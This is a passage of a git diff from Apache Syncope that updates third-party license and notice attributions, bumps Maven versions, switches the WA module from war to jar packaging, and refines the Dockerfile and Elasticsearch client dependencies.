above. + +== + +For Okio (https://square.github.io/okio/): +This is licensed under the AL 2.0, see above. + +== + +For Retrofit (https://square.github.io/retrofit/): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Mail: This is licensed under the EPL 1.0: Eclipse Public License - v 1.0 @@ -691,56 +766,6 @@ any resulting litigation. == -For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): -This is licensed under the MIT license, see above. - -== - -For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): -This is licensed under the AL 2.0, see above. - -== - -For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): -This is licensed under the AL 2.0, see above. - -== - -For Moshi (https://square.github.io/moshi/1.x): -This is licensed under the AL 2.0, see above. - -== - -For OkHttp (https://square.github.io/okhttp/): -This is licensed under the AL 2.0, see above. - -== - -For Okio (https://square.github.io/okio/): -This is licensed under the AL 2.0, see above. - -== - -For Retrofit (https://square.github.io/retrofit/): -This is licensed under the AL 2.0, see above. - -== - -For Jakarta Mail: -This is licensed under the EPL 1.0, see above. - -== - For JAX-B (http://jaxb.java.net/): This is licensed under the CDDL 1.0: @@ -1192,6 +1217,11 @@ This is Public Domain. == +For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): +This is licensed under the MIT license, see above. + +== + For DataTables (https://datatables.net/): This is licensed under the MIT license, see above. @@ -1227,6 +1257,11 @@ This is licensed under the MIT license, see above. == +For get-css-data (https://github.com/jhildenbiddle/get-css-data): +This is licensed under the MIT license, see above. + +== + For HAL Explorer (https://github.com/toedter/hal-explorer/): This is licensed under the MIT license, see above. @@ -1247,6 +1282,11 @@ This is licensed under the MIT license, see above. == +For jsonwebtoken.io (https://jsonwebtoken.io): +This is licensed under the AL 2.0, see above. + +== + For Micrometer Application Metrics (https://micrometer.io/): This is licensed under the AL 2.0, see above. @@ -1277,6 +1317,11 @@ This is licensed under the EPL 1.0, see above. == +For Jakarta Servlet (https://projects.eclipse.org/projects/ee4j.servlet): +This is licensed under the EPL 1.0, see above. + +== + For Jakarta WebSocket API (https://projects.eclipse.org/projects/ee4j.websocket): This is licensed under the EPL 1.0, see above. @@ -1292,6 +1337,11 @@ This is licensed under the CDDL 1.0, see above. == +For JSR107 (JCache) (https://github.com/jsr107/jsr107spec): +This is licensed under the AL 2.0, see above. + +== + For Expression Language 3.0 API (https://javaee.github.io/uel-ri/): This is licensed under the CDDL 1.0, see above. @@ -1332,6 +1382,16 @@ This is licensed under the MIT license, see above. == +For Material Components for the web (https://github.com/material-components/material-components-web): +This is licensed under the MIT license, see above. + +== + +For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +This is licensed under the MIT license, see above. + +== + For Byte Buddy (https://bytebuddy.net/): This is licensed under the AL 2.0, see above. @@ -1352,6 +1412,11 @@ This is licensed under the AL 2.0, see above. == +For normalize.css (http://necolas.github.io/normalize.css/): +This is licensed under the MIT license, see above. + +== + For Groovy Extensions (https://github.com/ultraq/groovy-extensions/): This is licensed under the AL 2.0, see above. @@ -1432,11 +1497,21 @@ This is licensed under the AL 2.0, see above. == +For Ehcache (http://ehcache.org/): +This is licensed under the AL 2.0, see above. + +== + For Java EE API modules repackaged as OSGi bundles in GlassFish: This is licensed under the CDDL 1.0, see above. == +For Glassfish Expression Language Implementation: +This is licensed under the CDDL 1.0, see above. + +== + For Jakarta JSON Processing (https://projects.eclipse.org/projects/ee4j.jsonp): This is licensed under the EPL 1.0, see above. @@ -1597,56 +1672,6 @@ This is licensed under the MIT license, see above. == -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. - -== - -For Material Components for the web (https://github.com/material-components/material-components-web): -This is licensed under the MIT license, see above. - -== - -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): -This is licensed under the MIT license, see above. - -== - -For normalize.css (http://necolas.github.io/normalize.css/): -This is licensed under the MIT license, see above. - -== - -For text-encoding (https://github.com/inexorabletash/text-encoding): -This is licensed under the AL 2.0, see above. - -== - -For tslib (https://github.com/Microsoft/tslib): -This is licensed under the BSD license, see above. - -== - -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - For Wildfly (https://www.wildfly.org/): This is licensed under the AL 2.0, see above. @@ -1657,148 +1682,6 @@ This is licensed under the AL 2.0, see above. == -For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): -This is licensed under the MIT license, see above. -tis.org/): -This is licensed under the AL 2.0, see above. - -== - -For Objenesis (http://objenesis.org/): -This is licensed under the AL 2.0, see above. - -== - -For Open SAML-Java (https://shibboleth.net/products/opensaml-java.html): -This is licensed under the AL 2.0, see above. - -== - -For ASM (http://asm.ow2.org/): -This is licensed under the BSD license, see above. - -== - -For Reactive Streams (https://www.pac4j.org/): -This is licensed under the AL 2.0, see above. - -== - -For Passay (https://www.passay.org/): -This is licensed under the AL 2.0, see above. - -== - -For Project Lombok (https://projectlombok.org/): -This is licensed under the MIT license, see above. - -== - -For Quartz Scheduler (http://quartz-scheduler.org/): -This is licensed under the AL 2.0, see above. - -== - -For Reactive Streams (http://www.reactive-streams.org/): -This is licensed under the CC0 1.0, see above. - -== - -For Reflections (https://github.com/ronmamo/reflections): -This is licensed under the BSD license, see above. - -== - -For Simple Logging Facade for Java - SLF4J (http://www.slf4j.org/): -This is licensed under the MIT license, see above. - -== - -For Spring openapi documentation (https://springdoc.org/): -This is licensed under the AL 2.0, see above. - -== - -For Spring (https://spring.io/projects): -This is licensed under the AL 2.0, see above. - -== - -For spring-modules-cache: -This is licensed under the AL 2.0, see above. - -== - -For Thymeleaf (https://www.thymeleaf.org/): -This is licensed under the AL 2.0, see above. - -== - -For unbescape (https://www.unbescape.org/): -This is licensed under the AL 2.0, see above. - -== - -For Chart.js (http://www.chartjs.org/): -This is licensed under the AL 2.0, see above. - -== - -For Moment.js (http://momentjs.com/): -This is licensed under the MIT license, see above. - -== - -For zxcvbn (https://github.com/dropbox/zxcvbn): -This is licensed under the MIT license, see above. - -== - -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. - -== - -For Inputmask (https://github.com/RobinHerbots/Inputmask): -This is licensed under the MIT license, see above. - -== - -For Material Components for the web (https://github.com/material-components/material-components-web): -This is licensed under the MIT license, see above. - -== - -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): -This is licensed under the MIT license, see above. - -== - -For normalize.css (http://necolas.github.io/normalize.css/): -This is licensed under the MIT license, see above. - -== - -For Summernote (https://summernote.org/): -This is licensed under the MIT license, see above. - -== - For text-encoding (https://github.com/inexorabletash/text-encoding): This is licensed under the AL 2.0, see above. @@ -1809,252 +1692,10 @@ This is licensed under the BSD license, see above. == -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - -For SnakeYAML (http://www.snakeyaml.org/): -This is licensed under the AL 2.0, see above. - -== - -For popper.js (https://github.com/FezVrasta/popper.js): -This is licensed under the MIT license, see above. - -== - -For spin.js (http://spin.js.org/): -This is licensed under the MIT license, see above. - -== - -For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): -This is licensed under the MIT license, see above. - -== - -For typeahead.js (http://twitter.github.io/typeahead.js/): -This is licensed under the MIT license, see above. - -== - For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): This is licensed under the MIT license, see above. == -For Web Services Description Language for Java (http://wsdl4j.sourceforge.net/): -This is licensed under the CPL: - -THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS COMMON PUBLIC -LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM -CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. - -1. DEFINITIONS - -"Contribution" means: - -a) in the case of the initial Contributor, the initial code and -documentation distributed under this Agreement, and - -b) in the case of each subsequent Contributor: - -i) changes to the Program, and - -ii) additions to the Program; - -where such changes and/or additions to the Program originate from and are -distributed by that particular Contributor. A Contribution 'originates' from a -Contributor if it was added to the Program by such Contributor itself or anyone -acting on such Contributor's behalf. Contributions do not include additions to -the Program which: (i) are separate modules of software distributed in -conjunction with the Program under their own license agreement, and (ii) are not -derivative works of the Program. - -"Contributor" means any person or entity that distributes the Program. - -"Licensed Patents " mean patent claims licensable by a Contributor which are -necessarily infringed by the use or sale of its Contribution alone or when -combined with the Program. - -"Program" means the Contributions distributed in accordance with this Agreement. - -"Recipient" means anyone who receives the Program under this Agreement, -including all Contributors. - -2. GRANT OF RIGHTS - -a) Subject to the terms of this Agreement, each Contributor hereby grants -Recipient a non-exclusive, worldwide, royalty-free copyright license to -reproduce, prepare derivative works of, publicly display, publicly perform, -distribute and sublicense the Contribution of such Contributor, if any, and such -derivative works, in source code and object code form. - -b) Subject to the terms of this Agreement, each Contributor hereby grants -Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed -Patents to make, use, sell, offer to sell, import and otherwise transfer the -Contribution of such Contributor, if any, in source code and object code form. -This patent license shall apply to the combination of the Contribution and the -Program if, at the time the Contribution is added by the Contributor, such -addition of the Contribution causes such combination to be covered by the -Licensed Patents. The patent license shall not apply to any other combinations -which include the Contribution. No hardware per se is licensed hereunder. - -c) Recipient understands that although each Contributor grants the licenses -to its Contributions set forth herein, no assurances are provided by any -Contributor that the Program does not infringe the patent or other intellectual -property rights of any other entity. Each Contributor disclaims any liability to -Recipient for claims brought by any other entity based on infringement of -intellectual property rights or otherwise. As a condition to exercising the -rights and licenses granted hereunder, each Recipient hereby assumes sole -responsibility to secure any other intellectual property rights needed, if any. -For example, if a third party patent license is required to allow Recipient to -distribute the Program, it is Recipient's responsibility to acquire that license -before distributing the Program. - -d) Each Contributor represents that to its knowledge it has sufficient -copyright rights in its Contribution, if any, to grant the copyright license set -forth in this Agreement. - -3. REQUIREMENTS - -A Contributor may choose to distribute the Program in object code form under its -own license agreement, provided that: - -a) it complies with the terms and conditions of this Agreement; and - -b) its license agreement: - -i) effectively disclaims on behalf of all Contributors all warranties and -conditions, express and implied, including warranties or conditions of title and -non-infringement, and implied warranties or conditions of merchantability and -fitness for a particular purpose; - -ii) effectively excludes on behalf of all Contributors all liability for -damages, including direct, indirect, special, incidental and consequential -damages, such as lost profits; - -iii) states that any provisions which differ from this Agreement are offered -by that Contributor alone and not by any other party; and - -iv) states that source code for the Program is available from such -Contributor, and informs licensees how to obtain it in a reasonable manner on or -through a medium customarily used for software exchange. - -When the Program is made available in source code form: - -a) it must be made available under this Agreement; and - -b) a copy of this Agreement must be included with each copy of the Program. - -Contributors may not remove or alter any copyright notices contained within the -Program. - -Each Contributor must identify itself as the originator of its Contribution, if -any, in a manner that reasonably allows subsequent Recipients to identify the -originator of the Contribution. - -4. COMMERCIAL DISTRIBUTION - -Commercial distributors of software may accept certain responsibilities with -respect to end users, business partners and the like. While this license is -intended to facilitate the commercial use of the Program, the Contributor who -includes the Program in a commercial product offering should do so in a manner -which does not create potential liability for other Contributors. Therefore, if -a Contributor includes the Program in a commercial product offering, such -Contributor ("Commercial Contributor") hereby agrees to defend and indemnify -every other Contributor ("Indemnified Contributor") against any losses, damages -and costs (collectively "Losses") arising from claims, lawsuits and other legal -actions brought by a third party against the Indemnified Contributor to the -extent caused by the acts or omissions of such Commercial Contributor in -connection with its distribution of the Program in a commercial product -offering. The obligations in this section do not apply to any claims or Losses -relating to any actual or alleged intellectual property infringement. In order -to qualify, an Indemnified Contributor must: a) promptly notify the Commercial -Contributor in writing of such claim, and b) allow the Commercial Contributor to -control, and cooperate with the Commercial Contributor in, the defense and any -related settlement negotiations. The Indemnified Contributor may participate in -any such claim at its own expense. - -For example, a Contributor might include the Program in a commercial product -offering, Product X. That Contributor is then a Commercial Contributor. If that -Commercial Contributor then makes performance claims, or offers warranties -related to Product X, those performance claims and warranties are such -Commercial Contributor's responsibility alone. Under this section, the -Commercial Contributor would have to defend claims against the other -Contributors related to those performance claims and warranties, and if a court -requires any other Contributor to pay any damages as a result, the Commercial -Contributor must pay those damages. - -5. NO WARRANTY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN -"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR -IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, -NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each -Recipient is solely responsible for determining the appropriateness of using and -distributing the Program and assumes all risks associated with its exercise of -rights under this Agreement, including but not limited to the risks and costs of -program errors, compliance with applicable laws, damage to or loss of data, -programs or equipment, and unavailability or interruption of operations. - -6. DISCLAIMER OF LIABILITY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY -CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST -PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, -STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS -GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - -7. GENERAL - -If any provision of this Agreement is invalid or unenforceable under applicable -law, it shall not affect the validity or enforceability of the remainder of the -terms of this Agreement, and without further action by the parties hereto, such -provision shall be reformed to the minimum extent necessary to make such -provision valid and enforceable. - -If Recipient institutes patent litigation against a Contributor with respect to -a patent applicable to software (including a cross-claim or counterclaim in a -lawsuit), then any patent licenses granted by that Contributor to such Recipient -under this Agreement shall terminate as of the date such litigation is filed. In -addition, if Recipient institutes patent litigation against any entity -(including a cross-claim or counterclaim in a lawsuit) alleging that the Program -itself (excluding combinations of the Program with other software or hardware) -infringes such Recipient's patent(s), then such Recipient's rights granted under -Section 2(b) shall terminate as of the date such litigation is filed. - -All Recipient's rights under this Agreement shall terminate if it fails to -comply with any of the material terms or conditions of this Agreement and does -not cure such failure in a reasonable period of time after becoming aware of -such noncompliance. If all Recipient's rights under this Agreement terminate, -Recipient agrees to cease use and distribution of the Program as soon as -reasonably practicable. However, Recipient's obligations under this Agreement -and any licenses granted by Recipient relating to the Program shall continue and -survive. - -Everyone is permitted to copy and distribute copies of this Agreement, but in -order to avoid inconsistency the Agreement is copyrighted and may only be -modified in the following manner. The Agreement Steward reserves the right to -publish new versions (including revisions) of this Agreement from time to time. -No one other than the Agreement Steward has the right to modify this Agreement. -IBM is the initial Agreement Steward. IBM may assign the responsibility to serve -as the Agreement Steward to a suitable separate entity. Each new version of the -Agreement will be given a distinguishing version number. The Program (including -Contributions) may always be distributed subject to the version of the Agreement -under which it was received. In addition, after a new version of the Agreement -is published, Contributor may elect to distribute the Program (including its -Contributions) under the new version. Except as expressly stated in Sections -2(a) and 2(b) above, Recipient receives no rights or licenses to the -intellectual property of any Contributor under this Agreement, whether -expressly, by implication, estoppel or otherwise. All rights in the Program not -expressly granted under this Agreement are reserved. - -This Agreement is governed by the laws of the State of New York and the -intellectual property laws of the United States of America. No party to this -Agreement will bring a legal action under this Agreement more than one year -after the cause of action arose. Each party waives its rights to a jury trial in -any resulting litigation. +For window.fetch polyfill (https://github.github.io/fetch/): +This is licensed under the MIT license, see above. diff --git a/docker/wa/NOTICE b/docker/wa/NOTICE index e13c0f97210..e82129a6639 100644 --- a/docker/wa/NOTICE +++ b/docker/wa/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2026 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -13,6 +13,16 @@ This product includes software developed by the AOP Alliance (Java/J2EE AOP stan == +This product includes software developed by balanced-match +Copyright (c) 2013 Julian Gruber + +== + +This product includes software developed by base64-js +Copyright (c) 2014 Jameson Little + +== + This product includes software developed by the Bootstrap project. Copyright (c) 2011-2016 Twitter, Inc. @@ -57,6 +67,11 @@ Copyright (c) 2010 Pablo Fernandez == +This product includes software developed by the Gson project. +Copyright (c) 2008 Google Inc. + +== + This product includes software developed by Error Prone. == @@ -75,13 +90,13 @@ Copyright: 2007-2020, ZXing authors == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. +This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java +Copyright (c) Microsoft Corporation == -This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java -Copyright (c) Microsoft Corporation +This product includes software developed by Microsoft Azure Active Directory Authentication Library (ADAL) for Java +Copyright (c) Microsoft Corporation. All rights reserved. == @@ -115,6 +130,11 @@ Copyright (c) 2022 Square, Inc. == +This product includes software developed by Okio +Copyright 2013 Square, Inc. + +== + This product includes software developed by Retrofit Copyright 2014 Square, Inc. @@ -164,6 +184,11 @@ This product includes software developed by Dough Lea == +This product includes software developed by css-vars-ponyfill +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by DataTables Copyright (c) 2008-present, SpryMedia Limited @@ -194,6 +219,11 @@ Copyright (C) 2009-2016 Kristopher Michael Kowal and contributors == +This product includes software developed by get-css-data +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by HAL Explorer Copyright (c) 2022 Kai Toedter @@ -214,7 +244,12 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by jsonwebtoken.io. +Copyright (C) 2014-2023 jsonwebtoken.io + +== + +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -234,6 +269,11 @@ All content is the property of the respective authors or their employers. == +This product includes software developed by the Eclipse Project for Jakarta Servlet. +Copyright (c) 1997, 2024 Oracle and/or its affiliates and others. All rights reserved. + +== + This product includes software produced and maintained by the Jakarta WebSocket project. All content is the property of the respective authors or their employers. @@ -250,6 +290,11 @@ Copyright (c) 2012-2013 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by JSR107 (JCache). +Copyright (c) JSR107 Expert Group + +== + This product includes software developed by Expression Language 3.0 API Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. @@ -291,13 +336,18 @@ Copyright 2007, 2016 jQuery Foundation and other contributors. == +This product includes software developed by Material Components for the web +Copyright 2018 Google Inc. + +== + This product includes software developed by Byte Buddy Copyright 2014 - Present Rafael Winterhalter == -This product includes software developed by Groovy Extensions -Copyright 2022, Emanuel Rabina (http://www.ultraq.net.nz/) +This product includes software developed by normalize.css +Copyright © Nicolas Gallagher and Jonathan Neal == @@ -354,11 +404,21 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by Terracotta. Inc. +Ehcache source code and documentation are Copyright (c) Terracotta, Inc. + +== + This product includes software developed by Java EE API modules repackaged as OSGi bundles in GlassFish Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by Glassfish Expression Language Implementation. +Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. + +== + This product includes software produced and maintained by Jakarta JSON Processing All content is the property of the respective authors or their employers. @@ -481,33 +541,7 @@ Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. == -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. - -== - -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal +This product includes software developed by the SnakeYAML project. == @@ -516,204 +550,10 @@ Copyright (c) Microsoft Corporation. == -This product includes software developed by window.fetch polyfill -Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by the SnakeYAML project. - -== - This product includes software developed by Webjars-locator core functionality Copyright (c) 2013 James Ward -YPT team. All Rights Reserved - -== - -This product includes softare developed by the Javassist project. -Copyright (C) 1999- by Shigeru Chiba, All rights reserved. - -== - -This product includes software developed by the JDOM project. - Copyright (C) 2000-2012 Jason Hunter & Brett McLaughlin. - All rights reserved. - -== - -This product includes software developed by JetBrains Java Annotations -Copyright 2000-2021 JetBrains s.r.o. - -== - -This product includes software developed by jOOL -Copyright (c), Data Geekery GmbH, contact@datageekery.com - -== - -This product includes software developed by JSON in Java -Copyright (c) 2002 JSON.org - -== - -This product includes software developed by Ldaptive Java Library -Copyright (C) 2003-2021 Virginia Tech. All Rights Reserved. - -== - -This product includes software developed by the Liquibase project. - -== - -This product includes software developed by the MyBatis project. - -== - -This product includes software developed by Objenesis -Copyright 2006-2022 the original author or authors. - -== - -This product includes software developed by the Shibboleth project. - -== - -This product includes software developed by the ASM project. -Copyright (c) 2000-2011 INRIA, France Telecom -All rights reserved. - -== - -This product includes software developed by Passay -Copyright (C) 2003-2022 Virginia Tech. All rights reserved. - -== - -This product includes software developed by Project Lombok -Copyright (C) 2009-2021 The Project Lombok Authors. - -== - -This product includes software developed by Terracotta. Inc. -Quartz Scheduler source code and documentation are Copyright (c) Terracotta, Inc. - -== - -This product includes software developed by the Reflections project. - -== - -This products includes software developed by the Simple Logging Facade for Java (SLF4J) project. -Copyright (c) 2004-2016 QOS.ch. - -== - -This product includes software developed by Spring openapi documentation -Copyright 2019-2020 the original author or authors. - -== - -This product includes software developed by SpringSource. -Copyright (c) 2004-2022 SpringSource -All rights reserved. - -== - -This product includes software developed by Thymeleaf -Copyright (c) 2011-2018, The THYMELEAF team (http://www.thymeleaf.org) - -== - -This product includes software developed by unbescape -Copyright 2012 Twitter, Inc. - -== - -This product includes software developed by the Chart.js project. -Copyright (c) 2018 Chart.js Contributors - -== - -This product includes software developed by Moment.js. -Copyright (c) JS Foundation and other contributors - -== - -This product includes software developed by zxcvbn -Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. - -== - -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Inputmask -Copyright (c) 2010 - 2018 Robin Herbots - -== - -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. - -== - -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal - -== - -This product includes software developed by Summernote -Copyright (c) 2015~ Summernote Team (https://github.com/orgs/summernote/people) - -== - -This product includes software developed by tslib -Copyright (c) Microsoft Corporation. == This product includes software developed by window.fetch polyfill Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by the SnakeYAML project. - -== - -This product includes software developed by popper.js -Copyright (c) 2021 Floating UI contributors - -== - -This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker -Copyright (c) 2016 Tempus Dominus - -== - -This product includes software developed by Webjars-locator core functionality -Copyright (c) 2013 James Ward - -== - -This product includes software developed by the Web Services Description Language for Java project. -Copyright (c) Dice. -All Rights Reserved. diff --git a/docker/wa/pom.xml b/docker/wa/pom.xml index 9f02c5b98e4..ee944ad5577 100644 --- a/docker/wa/pom.xml +++ b/docker/wa/pom.xml @@ -24,14 +24,14 @@ under the License. org.apache.syncope syncope-docker - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Docker WA Apache Syncope Docker WA org.apache.syncope syncope-docker-wa - war + jar @@ -75,26 +75,6 @@ under the License. - - org.apache.maven.plugins - maven-war-plugin - false - - ${basedir}/../../fit/wa-reference/src/main/webapp/WEB-INF/web.xml - - - ${basedir} - META-INF - - LICENSE - NOTICE - - - - ${project.build.outputDirectory} - - - org.springframework.boot spring-boot-maven-plugin diff --git a/docker/wa/src/main/resources/Dockerfile b/docker/wa/src/main/resources/Dockerfile index ea5b7a6caaf..22ef857d274 100644 --- a/docker/wa/src/main/resources/Dockerfile +++ b/docker/wa/src/main/resources/Dockerfile @@ -15,25 +15,18 @@ # specific language governing permissions and limitations # under the License. -FROM eclipse-temurin:17-focal -MAINTAINER dev@syncope.apache.org +FROM eclipse-temurin:17-jammy +LABEL org.opencontainers.image.authors="dev@syncope.apache.org" -RUN set -x +RUN mkdir /opt/syncope /opt/syncope/bin /opt/syncope/conf /opt/syncope/lib /opt/syncope/log -RUN mkdir /opt/syncope -RUN mkdir /opt/syncope/bin -RUN mkdir /opt/syncope/conf -RUN mkdir /opt/syncope/lib -RUN mkdir /opt/syncope/log +COPY *.properties log4j2.xml /opt/syncope/conf/ -COPY *.properties /opt/syncope/conf/ -COPY log4j2.xml /opt/syncope/conf/ - -COPY syncope-docker-wa-*war /opt/syncope/lib/syncope-wa.war +COPY syncope-docker-wa-*jar /opt/syncope/lib/syncope-wa.jar ENV SPRING_PROFILES_ACTIVE=docker ENV LOADER_PATH="/opt/syncope/conf,/opt/syncope/lib" -ENV JAVA_OPTS="-Dfile.encoding=UTF-8 -server -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Djava.security.egd=file:/dev/./urandom" +ENV JAVA_OPTS="-Dfile.encoding=UTF-8 -Dsyncope.conf.dir=/opt/syncope/conf -server -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Djava.security.egd=file:/dev/./urandom" COPY startup.sh /opt/syncope/bin RUN chmod 755 /opt/syncope/bin/startup.sh @@ -41,4 +34,7 @@ CMD ["/opt/syncope/bin/startup.sh"] RUN curl -o /usr/local/bin/wait-for-it https://raw.githubusercontent.com/vishnubob/wait-for-it/master/wait-for-it.sh && chmod 755 /usr/local/bin/wait-for-it +RUN useradd -ms /usr/sbin/nologin syncope && chown -R syncope /opt/syncope +USER syncope + EXPOSE 8080 diff --git a/docker/wa/src/main/resources/startup.sh b/docker/wa/src/main/resources/startup.sh index 71ee91a9e51..35b0d8dab1a 100755 --- a/docker/wa/src/main/resources/startup.sh +++ b/docker/wa/src/main/resources/startup.sh @@ -17,4 +17,4 @@ # specific language governing permissions and limitations # under the License. -java $JAVA_OPTS -jar /opt/syncope/lib/syncope-wa.war +java $JAVA_OPTS -jar /opt/syncope/lib/syncope-wa.jar diff --git a/docker/wa/src/main/resources/wa-docker.properties b/docker/wa/src/main/resources/wa-docker.properties index 024729f11cf..b823b1ad760 100644 --- a/docker/wa/src/main/resources/wa-docker.properties +++ b/docker/wa/src/main/resources/wa-docker.properties @@ -20,10 +20,6 @@ keymaster.password=${KEYMASTER_PASSWORD} cas.server.name=${CAS_SERVER_NAME} -conf.directory=/opt/syncope/conf -cas.standalone.configuration-directory=${conf.directory} -cas.authn.saml-idp.metadata.http.metadata-backup-location=file:${conf.directory}/saml - service.discovery.address=${SERVICE_DISCOVERY_ADDRESS} wa.anonymousUser=${ANONYMOUS_USER:anonymous} diff --git a/ext/elasticsearch/client-elasticsearch/pom.xml b/ext/elasticsearch/client-elasticsearch/pom.xml index 06c23283f49..5f6202c805a 100644 --- a/ext/elasticsearch/client-elasticsearch/pom.xml +++ b/ext/elasticsearch/client-elasticsearch/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-elasticsearch - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Elasticsearch Client @@ -43,19 +43,19 @@ under the License. syncope-core-spring ${project.version} - + - co.elastic.clients - elasticsearch-java + org.elasticsearch.client + elasticsearch-rest-client - jakarta.json - jakarta.json-api + co.elastic.clients + elasticsearch-java - com.fasterxml.jackson.core - jackson-databind + org.springframework.boot + spring-boot-starter-actuator diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java index 1995c1bf82f..f46b62ff9f0 100644 --- a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java @@ -19,11 +19,13 @@ package org.apache.syncope.ext.elasticsearch.client; import co.elastic.clients.elasticsearch.ElasticsearchClient; -import java.util.List; +import java.util.stream.Collectors; import org.apache.http.HttpHost; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import 